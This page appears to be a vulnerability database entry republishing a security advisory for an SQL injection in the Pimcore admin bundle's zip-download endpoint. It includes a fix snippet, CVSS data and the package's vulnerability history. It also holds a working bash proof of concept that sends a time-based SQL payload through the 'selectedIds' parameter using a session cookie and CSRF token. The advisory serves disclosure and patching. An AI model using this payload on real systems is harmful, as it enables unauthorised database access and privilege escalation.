Hoch

SQL Injection in Admin download files as zip

Veröffentlicht: 24.01.2024
Aktualisiert: 11.10.2026 10:22

Summary

The application allows to create zip files from available files on the site. The parameter "selectedIds", is susceptible to SQL Injection.

Details

downloadAsZipJobsAction escape parameters, but downloadAsZipAddFilesAction not. The following code should be added:

php

  foreach ($selectedIds as $selectedId) {
      if ($selectedId) {
          $quotedSelectedIds[] = $db->quote($selectedId);
      }
  }

PoC

Set up an example project as described on https://github.com/pimcore/demon (demo package with example content)
Log In. Grab the X-pimcore-csrf-token header from any request to the backend, as well as the PHPSESSID cookie.
Run the following script, substituting the values accordingly:

bash

#!/bin/bash
BASE_URL=http://localhost # REPLACE THIS!
CSRF_TOKEN="5133f9d5d28de7dbab39e33ac7036271284ee42e" # REPLACE THIS!
COOKIE="PHPSESSID=4312797207ba3b342b29218fa42f3aa3" # REPLACE THIS!
SQL="(select*from(select(sleep(6)))a)"

curl "${BASE_URL}/admin/asset/download-as-zip-add-files?_dc=1700573579093&id=1&selectedIds=1,${SQL}&offset=10&limit=5&jobId=655cb18a37b01" \
    -X GET \
    -H "X-pimcore-csrf-token: ${CSRF_TOKEN}" \
    -H "Cookie: ${COOKIE}" `

The response is delayed by 6 seconds.

Impact

Any backend user with very basic permissions can execute arbitrary SQL statements and thus alter any data or escalate their privileges to at least admin level.

Betroffene Software

Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.

Plattform	Paket	Anfällige Versionen	Behoben in
Composer-Paket	pimcore/admin-ui-classic-bundle	>= 1.0.0, < 1.3.2	1.3.2

Verweise

CVSS-Wert 8.8/10

CVSS-Vektor: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Schwäche (CWE): CWE-89
Plattform: Composer
Paket: pimcore/admin-ui-classic-bundle
Veröffentlicht: 24.01.2024
Aktualisiert: 11.10.2026 10:22

Quellen und Lizenzen

OSV / GitHub Advisory Database - GHSA-cwx6-4wmf-c6xv - CC BY 4.0

Schwachstellenhistorie: pimcore/admin-ui-classic-bundle

Alle veröffentlichten Schwachstellen dieses Pakets (Composer-Paket), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.

Alle (17) im Archiv

Einträge insgesamt: 17
Erste → letzte: 07.2023 05.2026
Ohne Fix: 0
In Angriffen ausgenutzt: 0

Verteilung nach Schweregrad

Hoch 6
Mittel 10
Niedrig 1

Veröffentlichungen pro Jahr

2023: 6
2024: 7
2025: 2
2026: 2

27.05.2026

Pimcore Admin Classic Bundle Vulnerable to SQL Injection in Translation Grid Date Filter via Unsanitized Property Parameter

Hoch · 8.8 CVE-2026-44741 >= 2.0.0-RC1, < 2.3.6, < 1.7.18 2.3.6, 1.7.18
03.09.2024

Pimcore includes vulnerable PHPOffice/PhpSpreadsheet

Hoch · 8.8 ghsa-hq76-662x-7mw4 < 1.3.11, >= 1.4.0, < 1.4.7, >= 1.5.0, < 1.5.4 1.3.11, 1.4.7, 1.5.4
20.02.2024

Pimcore Host Header Injection in user invitation link

Hoch · 8.1 CVE-2024-25625 < 1.3.4 1.3.4
24.01.2024

Host header injection in the password reset

Hoch · 8.8 CVE-2024-23648 < 1.2.3 1.2.3
24.01.2024

SQL Injection in Admin download files as zip dieser Eintrag

Hoch · 8.8 CVE-2024-23646 >= 1.0.0, < 1.3.2 1.3.2
27.11.2023

Pimcore Admin UI has Two Factor Authentication disabled for non admin security firewalls

Hoch · 8.4 CVE-2023-49075 < 1.2.2 1.2.2

Erkennen Sie Schwachstellen in Ihrer Anwendung

Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.

Anwendung verbinden